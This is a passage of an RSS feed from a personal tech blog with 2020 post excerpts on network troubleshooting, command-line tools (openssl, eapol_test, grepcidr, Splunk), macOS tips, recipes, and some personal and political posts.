      <link>https://jasonmurray.org/posts/2020/teamsp2p/</link>
      <pubDate>Tue, 22 Sep 2020 13:36:57 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/teamsp2p/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Microsoft Teams is experiencing poor audio and video problems when clients are connected to the Cisco AnyConnect VPN gateway.  We are able to consistently reproduce this problem by establishing a call between two users using the &lt;code&gt;chat&lt;/code&gt; option in Teams.  Both users must be connected to the same VPN gateway.&lt;/p&gt;&#xA;&lt;p&gt;The problem does &lt;strong&gt;NOT&lt;/strong&gt; exist when a call is established through a &lt;code&gt;meeting&lt;/code&gt; or when multiple users are in a group call. Only singleuser-to-singleuser calls experience poor connection quality.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Default app bug in iOS14</title>
      <link>https://jasonmurray.org/posts/2020/defaultappbug/</link>
      <pubDate>Mon, 21 Sep 2020 17:12:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/defaultappbug/</guid>
      <description>&lt;p&gt;Yesterday, I touted how great it was to be able to set a &lt;a href=&#34;https://jasonmurray.org/posts/2020/defaultiosapp/&#34;&gt;default app in iOS14&lt;/a&gt;.  It is great, as long as the devices is not rebooted.&lt;/p&gt;&#xA;&lt;p&gt;After a reboot the settings are reset back to the default.&lt;/p&gt;&#xA;&lt;p&gt;Apple confirmed this is a bug.&lt;/p&gt;</description>
    </item>
    <item>
      <title>iOS14 supports default opening of third party apps</title>
      <link>https://jasonmurray.org/posts/2020/defaultiosapp/</link>
      <pubDate>Sun, 20 Sep 2020 12:34:01 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/defaultiosapp/</guid>
      <description>&lt;p&gt;New to iOS14 is a feature I have been requesting for years.   The ability to select the default application.  Without this feature, if an app needed to display a web page, send an email, or map an address, the only option was to use the software provided by Apple.  There was no option to open these links using third party apps.  While many people were fine using Apples Safari, mail, or maps, I was not.  I prefer Chrome, Gmail, and Waze.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Easy french press coffee</title>
      <link>https://jasonmurray.org/posts/2020/frenchpress/</link>
      <pubDate>Sat, 19 Sep 2020 08:52:26 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/frenchpress/</guid>
      <description>&lt;h1 id=&#34;why&#34;&gt;Why&lt;/h1&gt;&#xA;&lt;p&gt;If you found this page because you are in search of a no frills french press coffee recipe, keep reading.&lt;/p&gt;&#xA;&lt;p&gt;First, don&amp;rsquo;t overthink.  Making coffee does not have to be complicated.  Follow these directions.  The coffee will be great.&lt;/p&gt;&#xA;&lt;p&gt;There are hundreds of articles on how to make the &amp;ldquo;best&amp;rdquo; french press coffee.   I have tried quite a few.  Remember, taste is subjective, the best coffee is the one you enjoy drinking.  &amp;ldquo;Experts&amp;rdquo; will recommend specific pots or stirring materials, most of this is unnecessary. Buy an average french press and use standard kitchen gear for everything else.&lt;/p&gt;</description>
    </item>
    <item>
      <title>We Believe</title>
      <link>https://jasonmurray.org/posts/2020/webelieve/</link>
      <pubDate>Fri, 18 Sep 2020 15:15:58 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/webelieve/</guid>
      <description>&lt;p&gt;Combined with action, a sign helps to socialize a positive message to neighbors and friends.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/webelieve.png&#34; alt=&#34;we believe&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Be the positive change we need.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Following an unsolicited text message link</title>
      <link>https://jasonmurray.org/posts/2020/textmessagephishing/</link>
      <pubDate>Thu, 17 Sep 2020 06:34:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/textmessagephishing/</guid>
      <description>&lt;h1 id=&#34;intro&#34;&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;I rarely receive unsolicited text messages.  Starting in August 2020 that changed.  There are now between 2 and 3 messages a week.   They all revolve around &amp;rsquo;lost packages&amp;rsquo;, &amp;lsquo;porn&amp;rsquo;, and &amp;lsquo;work from home&amp;rsquo;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NEVER&lt;/strong&gt; click a unsolicited link sent via text or email.  There is a good chance it is spam, phishing, or some type of malware.  Clicking these links lets the sender know the phone number or email address is valid and someone is reading what they are sending.  This is a sure fire way to get your phone number added to even more campaigns.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Find the typo with diff</title>
      <link>https://jasonmurray.org/posts/2020/findthetypowithdiff/</link>
      <pubDate>Wed, 16 Sep 2020 13:23:05 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/findthetypowithdiff/</guid>
      <description>&lt;p&gt;Use &lt;code&gt;diff&lt;/code&gt;, find the error, fix the error, make everyone happy.  Syslog works again.&lt;/p&gt;&#xA;&lt;p&gt;In this example, diff is used to compare the original file that works, with the new configuration file that breaks syslog.  Can you spot the typo?&lt;/p&gt;&#xA;&lt;p&gt;Scan for the changes in the side-by-side comparison.  Pay close attention to the differences in patterns.  I bet you didn&amp;rsquo;t realize &lt;a href=&#34;https://www.youtube.com/watch?v=rsRjQDrDnY8&#34;&gt;Sesame Street&lt;/a&gt; has been preparing us this entire time to spot errors in syslog configuration files:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Personalized athletic video recording with Trace</title>
      <link>https://jasonmurray.org/posts/2020/tracebot/</link>
      <pubDate>Tue, 15 Sep 2020 14:58:26 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tracebot/</guid>
      <description>&lt;p&gt;My daughter’s ECNL soccer team recently purchased the &lt;a href=&#34;https://traceup.com/&#34;&gt;Trace&lt;/a&gt; player tracking and video recording system.  Many of the players use this league as a springboard to play soccer in college.  A big part of applying to colleges is building highlight videos to show off player skills.  We could easily spend an entire day going through hours of video looking for enough clips to build a 5 minute highlight reel.&lt;/p&gt;&#xA;&lt;p&gt;The Trace camera system eliminates &lt;strong&gt;all&lt;/strong&gt; the manual labor involved in watching and clipping specific parts.  Each player wears a lightweight GPS receiver.  This device records every position, movement, and speed of the player.  A 180 degree pole mounted camera replaces the traditional camera-parent.  The camera automatically pans and zooms based on position of the ball on the field.  After the game is over, video and GPS data is sent to the cloud for post processing.  Tracer overlays player information on each video.  Players receive an email with links to their individual highlight clips.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Big ASCII letters with figlet</title>
      <link>https://jasonmurray.org/posts/2020/figlet/</link>
      <pubDate>Mon, 14 Sep 2020 16:00:32 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/figlet/</guid>
      <description>&lt;p&gt;I am an old school nerd from a time when ASCII art was king.  Printers were dot matrix. Tractor-feed continuos paper made great banners.  &lt;a href=&#34;https://en.wikipedia.org/wiki/The_Print_Shop&#34;&gt;The Print Shop&lt;/a&gt; was high tech publishing software.&lt;/p&gt;&#xA;&lt;p&gt;When ASCII nostalgia strikes, &lt;a href=&#34;http://www.figlet.org/&#34;&gt;figlet&lt;/a&gt; is here to help.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ figlet Hello World!&#xA; _   _      _ _        __        __         _     _ _&#xA;| | | | ___| | | ___   \ \      / /__  _ __| | __| | |&#xA;| |_| |/ _ \ | |/ _ \   \ \ /\ / / _ \| &amp;#39;__| |/ _` | |&#xA;|  _  |  __/ | | (_) |   \ V  V / (_) | |  | | (_| |_|&#xA;|_| |_|\___|_|_|\___/     \_/\_/ \___/|_|  |_|\__,_(_)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;How about really old school with the &lt;code&gt;#&lt;/code&gt; 1980&amp;rsquo;s pixel:&lt;/p&gt;</description>
    </item>
    <item>
      <title>GNS3 web interface</title>
      <link>https://jasonmurray.org/posts/2020/gns3web/</link>
      <pubDate>Sun, 13 Sep 2020 05:45:05 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/gns3web/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;For those people using the GNS3 VM, you may not need to download the &lt;a href=&#34;https://www.gns3.com/software/download&#34;&gt;GNS3 desktop client&lt;/a&gt; anymore. The &lt;a href=&#34;https://www.gns3.com/software/download-vm&#34;&gt;GNS3 VM&lt;/a&gt; comes with a web interface enabled by default.&lt;/p&gt;&#xA;&lt;h1 id=&#34;accessing-the-web-interface&#34;&gt;Accessing the web interface&lt;/h1&gt;&#xA;&lt;p&gt;Main topology menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/gns3webmenu.png&#34; alt=&#34;main interface&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Viewing a project:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/gns3webtopo.png&#34; alt=&#34;main interface&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Accessing the router through the integrated web console:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/gns3webconsole.png&#34; alt=&#34;main interface&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;remote-access-over-an-ssh-tunnel&#34;&gt;Remote access over an SSH tunnel&lt;/h1&gt;&#xA;&lt;p&gt;My GNS3 server is physically located in my home lab.   As someone who likes to test new ideas while on the road, I can start a SSH tunnel to access the lab from any remote location.  In fact, I am writing this post and working in the lab from a hotel room.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using openssl to connect to SSL enabled services</title>
      <link>https://jasonmurray.org/posts/2020/opensslconnect/</link>
      <pubDate>Sat, 12 Sep 2020 16:16:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/opensslconnect/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;When I need to make a connection to an SSL enabled service or validate SSL certificate information, I use the &lt;code&gt;openssl&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;This command allows me to connect to any SSL enabled service and validate key SSL certificate information, all within a single command.   On most unix systems &lt;code&gt;openssl&lt;/code&gt; is installed by default, and is considered by many to be the swiss army knife of SSL tools.&lt;/p&gt;&#xA;&lt;h1 id=&#34;summary-of-common-openssl-commands&#34;&gt;Summary of common OpenSSL commands:&lt;/h1&gt;&#xA;&lt;p&gt;Web server:&lt;/p&gt;</description>
    </item>
    <item>
      <title>FQDN DNS updates using DHCP Option 81</title>
      <link>https://jasonmurray.org/posts/2020/option81/</link>
      <pubDate>Fri, 11 Sep 2020 08:43:02 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/option81/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Integrating DHCP with a DNS server, allows devices to register a fully qualified domain when requesting an IP address.  This type of automatic DNS update, is known as dynamic DNS or DDNS.  Dynamic DNS is helpful because humans find it easier to remember host.example.com then 192.168.212.123.  If IPv6 is used, dynamic DNS is even more important.  Not many people can easily remember an IPv6 address: 2604:3e00:123:4534:123:2332::1.&lt;/p&gt;&#xA;&lt;h1 id=&#34;options&#34;&gt;Options&lt;/h1&gt;&#xA;&lt;p&gt;There are 2 primary types of DDNS updates the DHCP server can perform:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Use Splunk to count DNS queries by hour</title>
      <link>https://jasonmurray.org/posts/2020/splunkcountqueries/</link>
      <pubDate>Thu, 10 Sep 2020 16:34:38 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/splunkcountqueries/</guid>
      <description>&lt;p&gt;Splunk search string to count DNS queries logged from Zeek by hour:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;index=&amp;#34;prod_infosec_zeek&amp;#34; source = /logs/zeek/current/dns.log  NOT rcode_name = NXDOMAIN | eval c_time=strftime(ts,&amp;#34;%m/%d/%y %H&amp;#34;) | table c_time | stats count by c_time&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Splunk results:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;c_time&#x9;count&#xA;...&#xA;09/10/20 12&#x9;8563941&#xA;09/10/20 13&#x9;27413725&#xA;09/10/20 14&#x9;33185289&#xA;09/10/20 15&#x9;30942267&#xA;09/10/20 16&#x9;22590486&#xA;09/10/20 17&#x9;3876147&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The query works by converting the EPOCH timestamp Zeek creates into the human readable format: &lt;code&gt;month/day/year hour&lt;/code&gt;.  It then sorts and counts the dates to get hourly stats.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Network security segmentation is a mess</title>
      <link>https://jasonmurray.org/posts/2020/networksecuritymess/</link>
      <pubDate>Wed, 09 Sep 2020 17:01:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/networksecuritymess/</guid>
      <description>&lt;p&gt;I am about to make a presumptuous statement&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I believe the vast majority of enterprise networks are a convoluted mess because of security segmentation.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yes, I said it, network security is a horrible mess.   Cisco, Juniper, or insert any other large vendor, make a network engineers life miserable.  There is no good single solution when it comes to designing and implementing good security practices.  Ask 100 engineers and you will get 99 different answers.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Be on the lookout for graph smoothing</title>
      <link>https://jasonmurray.org/posts/2020/graphsmoothing/</link>
      <pubDate>Tue, 08 Sep 2020 15:48:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/graphsmoothing/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Where did the traffic spikes go?&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Take caution when using long term graphs for network capacity planning. In order to visualize historical interface trending information on a reasonably sized graph, the data needs to be averaged. This may smooth out important spikes that would otherwise indicate interface congestion.&lt;/p&gt;&#xA;&lt;p&gt;Looking at a 24 hour graph with 1 minute resolution, it is easy to spot 9Gb/s spikes throughout the day.  The graph is a reasonable size and the data paints a good picture of an interface nearing a congestion problem:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Take a break for your health</title>
      <link>https://jasonmurray.org/posts/2020/takeabreak/</link>
      <pubDate>Mon, 07 Sep 2020 15:04:17 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/takeabreak/</guid>
      <description>&lt;p&gt;Now that we are working from home full time, I don&amp;rsquo;t get out of my chair nearly as often.  This sedentary practice is taking a noticeable toll on my back, legs, and eyes.&lt;/p&gt;&#xA;&lt;p&gt;My running watch has a move alert, but it is easy to ignore or completely miss when deeply concentrating on solving todays problem.  I needed something that grabs my attention and forces me to take action.  The macOS software, &lt;a href=&#34;https://www.dejal.com/timeout/&#34;&gt;Time Out&lt;/a&gt;, fits my needs perfectly.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Accessing a serial console via the macOS terminal</title>
      <link>https://jasonmurray.org/posts/2020/serialconsolemacos/</link>
      <pubDate>Sun, 06 Sep 2020 14:17:16 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/serialconsolemacos/</guid>
      <description>&lt;h2 id=&#34;quick-start&#34;&gt;Quick Start&lt;/h2&gt;&#xA;&lt;p&gt;The command &lt;code&gt;cu&lt;/code&gt; can be used to connect to a serial console on macOS (and most any other unix based operating systems).  There are lots of other commands that will work as serial consoles, but this command comes installed by default and is easy to use.   In fact many unix based systems have &lt;code&gt;cu&lt;/code&gt; installed by default.  Don&amp;rsquo;t bother with other tools, &lt;code&gt;cu&lt;/code&gt; is lightweight and works well.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Configure WiFi with a QR code</title>
      <link>https://jasonmurray.org/posts/2020/wifiqrcode/</link>
      <pubDate>Sat, 05 Sep 2020 13:15:35 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wifiqrcode/</guid>
      <description>&lt;p&gt;What if I told you, configuring guests on your home WiFi network is as easy as scanning this QR Code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/wifiqrcode.png&#34; alt=&#34;wifi qr code&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Too many residential routers come with stock wireless names like &lt;code&gt;MySpectrumWifiNetwork-5G&lt;/code&gt; and a password that takes 5 tries to enter properly on a tiny phone keyboard: &lt;code&gt;akhajadkjhafd7a7adfhahjadfayadfyuadgf&lt;/code&gt;. Most people will give up after the 2nd try. Leaving your guests to pay for cellular data, instead of sipping the sweet nectar of that One Gig fiber-service you pay so dearly for.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Whole Wheat Flax Blueberry Pancakes</title>
      <link>https://jasonmurray.org/posts/2020/pancakes/</link>
      <pubDate>Fri, 04 Sep 2020 13:34:37 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pancakes/</guid>
      <description>&lt;p&gt;This is my favorite whole wheat blueberry pancake recipe.  To my dismay the original website disappeared for a while and I never saved a copy.   Luckily, there are a number of people on the Internet who keep backup copies of content just like this.   If it disappears again, fear not for I now have a copy for all to enjoy.&lt;/p&gt;&#xA;&lt;p&gt;Original source: &lt;a href=&#34;https://healthontherun.wordpress.com/2010/04/03/whole-wheat-flax-blueberry-pancakes/&#34;&gt;https://healthontherun.wordpress.com/2010/04/03/whole-wheat-flax-blueberry-pancakes/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The basic recipe that I use is below.  This has been adapted from several different sources (that I can no longer remember!) and tends to vary a bit from time to time.  Also (as a disclaimer), I’m not a very precise cook, and would prefer to just dump and mix when I can get away without measuring.  But for those logical people out there who actually like to trust that your food is going to come out okay when you make something, here are the ingredients.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable OBS Virtual Camera in Microsoft Teams</title>
      <link>https://jasonmurray.org/posts/2020/obsteamsvirtualcam/</link>
      <pubDate>Thu, 03 Sep 2020 08:32:19 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/obsteamsvirtualcam/</guid>
      <description>&lt;p&gt;In July 2020, a Microsoft Teams update disabled 3rd party virtual camera support.  Microsoft acknowledged the issue here: &lt;a href=&#34;https://docs.microsoft.com/en-us/microsoftteams/troubleshoot/teams-on-mac/virtual-camera-doesnt-work-macos&#34;&gt;https://docs.microsoft.com/en-us/microsoftteams/troubleshoot/teams-on-mac/virtual-camera-doesnt-work-macos&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The issue stems from the way Apple codesigns CoreMediaIO 3rd party plugins.&lt;/p&gt;&#xA;&lt;p&gt;To resolve this problem, the codesign signature from Microsoft Teams must be removed.&lt;/p&gt;&#xA;&lt;p&gt;Open a terminal and run the following commands:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo codesign --remove-signature &amp;#34;/Applications/Microsoft Teams.app&amp;#34;&#xA;sudo codesign --remove-signature &amp;#34;/Applications/Microsoft Teams.app/Contents/Frameworks/Microsoft Teams Helper.app&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The OBS Virtual Camera is visible in Teams:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic aspath-regex</title>
      <link>https://jasonmurray.org/posts/2020/asregex/</link>
      <pubDate>Wed, 02 Sep 2020 17:08:55 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/asregex/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;The world of regular expressions seems like magic or voodoo to many newcomers.  RegEx at its most basic form is nothing more then simple pattern matching expressions.  I see many seasoned network engineers overlook this powerful tool because of the perceived complexity.  Sure, there are some very complex regular expressions and the language is limitless.   Don&amp;rsquo;t be overwhelmed, start with the basics and work up to more complex patterns as needed.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using grepcidr to find IP addresses in text files</title>
      <link>https://jasonmurray.org/posts/2020/cidrgrep/</link>
      <pubDate>Tue, 01 Sep 2020 14:49:06 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cidrgrep/</guid>
      <description>&lt;p&gt;For the longest time I used regular expressions or basic &lt;code&gt;grep&lt;/code&gt; patterns to look for IP addresses within text files.  These methods make it very difficult to find specific IP addresses in a range if it does not fall on an easy to match pattern.&lt;/p&gt;&#xA;&lt;p&gt;Use &lt;code&gt;grepcidr&lt;/code&gt; to eliminate RegEx and pattern matching.   This command will match any IP address in the typical CIDR boundary.&lt;/p&gt;&#xA;&lt;p&gt;Given a list of IP addresses:&lt;/p&gt;</description>
    </item>
    <item>
      <title>My wifes breast cancer has returned...</title>
      <link>https://jasonmurray.org/posts/2020/cancerreturned/</link>
      <pubDate>Mon, 31 Aug 2020 15:47:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cancerreturned/</guid>
      <description>&lt;p&gt;Here is the message she sent to family and friends&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;A few months ago a friend wisely said, &amp;ldquo;Cancer does not stop for a pandemic.&amp;rdquo; It sure doesn&amp;rsquo;t. It also does not stop for protests, political debates, presidential elections, or just because I want it to go away.&lt;/p&gt;&#xA;&lt;p&gt;I am so sad to share that my breast cancer has returned and spread. It is stage 4 and it will end my life much sooner than we hoped. I am having palliative chemo treatments to attempt to slow the progression, but most likely I will have maybe a year or two (maybe less, maybe more) to enjoy my life as best I can. It is completely in God&amp;rsquo;s hands.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Is that the right USB drive?</title>
      <link>https://jasonmurray.org/posts/2020/diskutilmacos/</link>
      <pubDate>Sun, 30 Aug 2020 21:03:06 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/diskutilmacos/</guid>
      <description>&lt;p&gt;Determining which local disk is being operated on is critically important to prevent data loss or corruption. One wrong option to the &lt;code&gt;dd&lt;/code&gt; command has the potential to wipe out a local hard drive.&lt;/p&gt;&#xA;&lt;p&gt;Display the internal system drives by running &lt;code&gt;diskutil list&lt;/code&gt; with no other drives attached.  These are disks you don&amp;rsquo;t want to mess with:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ diskutil list&#xA;/dev/disk0 (internal, physical):&#xA;   #:                       TYPE NAME                    SIZE       IDENTIFIER&#xA;   0:      GUID_partition_scheme                        *500.3 GB   disk0&#xA;   1:                        EFI EFI                     314.6 MB   disk0s1&#xA;   2:                 Apple_APFS Container disk1         500.0 GB   disk0s2&#xA;&#xA;/dev/disk1 (synthesized):&#xA;   #:                       TYPE NAME                    SIZE       IDENTIFIER&#xA;   0:      APFS Container Scheme -                      +500.0 GB   disk1&#xA;                                 Physical Store disk0s2&#xA;   1:                APFS Volume Macintosh HD - Data     436.8 GB   disk1s1&#xA;   2:                APFS Volume Preboot                 82.7 MB    disk1s2&#xA;   3:                APFS Volume Recovery                528.5 MB   disk1s3&#xA;   4:                APFS Volume VM                      9.7 GB     disk1s4&#xA;   5:                APFS Volume Macintosh HD            11.0 GB    disk1s5&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Insert a USB drive and run &lt;code&gt;diskutil list&lt;/code&gt; again.  Notice how the new drive shows up at the end of the list.   Most of the time new disks will be &lt;code&gt;/dev/disk2&lt;/code&gt; or higher.   However, &lt;strong&gt;don&amp;rsquo;t&lt;/strong&gt; rely on that.  This is why we validate every single time before running commands which have the potential to destroy data without asking.  Remember what your grandpa told you, &amp;ldquo;measure twice, cut once&amp;rdquo;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Testing Radius EAP/PEAP from the command line</title>
      <link>https://jasonmurray.org/posts/2020/radiuseaptest/</link>
      <pubDate>Sat, 29 Aug 2020 18:36:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/radiuseaptest/</guid>
      <description>&lt;p&gt;The &lt;code&gt;eapol_test&lt;/code&gt; command is used to perform a variety of EAP authentication requests within Radius from the command line.  This software is found in the &lt;a href=&#34;https://w1.fi/wpa_supplicant/&#34;&gt;wpa_supplicant&lt;/a&gt; project.&lt;/p&gt;&#xA;&lt;p&gt;Tools like this are helpful for production monitoring or remote troubleshooting.&lt;/p&gt;&#xA;&lt;p&gt;First, create a EAP/PEAP generic configuration file named eapol_test.cfg:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;network={&#xA;  ssid=&amp;#34;eduroam&amp;#34;&#xA;  key_mgmt=IEEE8021X&#xA;  eap=PEAP&#xA;  pairwise=CCMP TKIP&#xA;  group=CCMP TKIP WEP104 WEP40&#xA;  phase2=&amp;#34;auth=MSCHAPV2&amp;#34;&#xA;  identity=&amp;#34;jemurray&amp;#34;&#xA;  anonymous_identity=&amp;#34;jemurray&amp;#34;&#xA;  password=&amp;#34;MyPa$$w0rd&amp;#34;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Run the &lt;code&gt;eapol_test&lt;/code&gt; command using the configuration file, remote host IP address, radius port, and shared secret:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Running packet-tracer on a Cisco FirePower firewall</title>
      <link>https://jasonmurray.org/posts/2020/pacettracerfirepower/</link>
      <pubDate>Fri, 28 Aug 2020 14:29:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pacettracerfirepower/</guid>
      <description>&lt;p&gt;Login into FXOS and connect to module 1 console:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ firepower.example.com&#xA;Password:&#xA; &#xA;Copyright 2004-2018, Cisco and/or its affiliates. All rights reserved.&#xA;Cisco is a registered trademark of Cisco Systems, Inc.&#xA;All other trademarks are property of their respective owners.&#xA; &#xA;Cisco Fire Linux OS v6.2.3 (build 13)&#xA;Cisco Firepower 9000 Series SM-36 Threat Defense v6.2.3.12 (build 80)&#xA; &#xA;Cisco Firepower Extensible Operating System (FX-OS) Software.&#xA; TAC support: http://www.cisco.com/tac&#xA; Copyright (c) 2009-2016, Cisco Systems, Inc. All rights reserved.&#xA; &#xA;        Cisco Security Services Platform&#xA;          Type ? for list of commands&#xA;fw-0-A#&amp;gt; connect module 1 console&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Connect to the FTD:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Donald Trump</title>
      <link>https://jasonmurray.org/posts/2020/trump/</link>
      <pubDate>Thu, 27 Aug 2020 15:20:57 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/trump/</guid>
      <description>&lt;p&gt;I have a mother, wife, and daughter.  I love and respect these women.&lt;/p&gt;&#xA;&lt;p&gt;Consider this &lt;a href=&#34;https://en.wikipedia.org/wiki/Donald_Trump_Access_Hollywood_tape&#34;&gt;direct quote&lt;/a&gt; from Donald Trump, the current President of the United States of America:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Yeah, that’s her. With the gold. I better use some Tic Tacs just in case I start kissing her. You know, I’m automatically attracted to beautiful — I just start kissing them. It’s like a magnet. Just kiss. I don’t even wait. And when you’re a star, they let you do it. You can do anything.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Percentage of change</title>
      <link>https://jasonmurray.org/posts/2020/percentchangeformula/</link>
      <pubDate>Wed, 26 Aug 2020 13:40:12 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/percentchangeformula/</guid>
      <description>&lt;p&gt;Formula to calculate the percentage of change between two numbers:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(NEW - OLD)/OLD*100&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As an Excel formula:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;=(D124-A124)/A124*100&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Copying Excel formulas without offset changes</title>
      <link>https://jasonmurray.org/posts/2020/copyexcelformula/</link>
      <pubDate>Tue, 25 Aug 2020 10:37:29 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/copyexcelformula/</guid>
      <description>&lt;p&gt;When copying cells with formulas in Excel, the system tries to determine the proper offset of the pasted formulas.  In this example, I created references to cells in other sheets.  The two sheets are layed out identically. This way when the summary page is built I would only have to copy the reference formulas and change the sheet location.&lt;/p&gt;&#xA;&lt;p&gt;However, when copying a reference formula from cell A2 to A19, Excel changed the offset in the formula from B128 to B145:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Dumping ARP tables with python and Netmiko</title>
      <link>https://jasonmurray.org/posts/2020/dumparp/</link>
      <pubDate>Mon, 24 Aug 2020 16:09:50 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/dumparp/</guid>
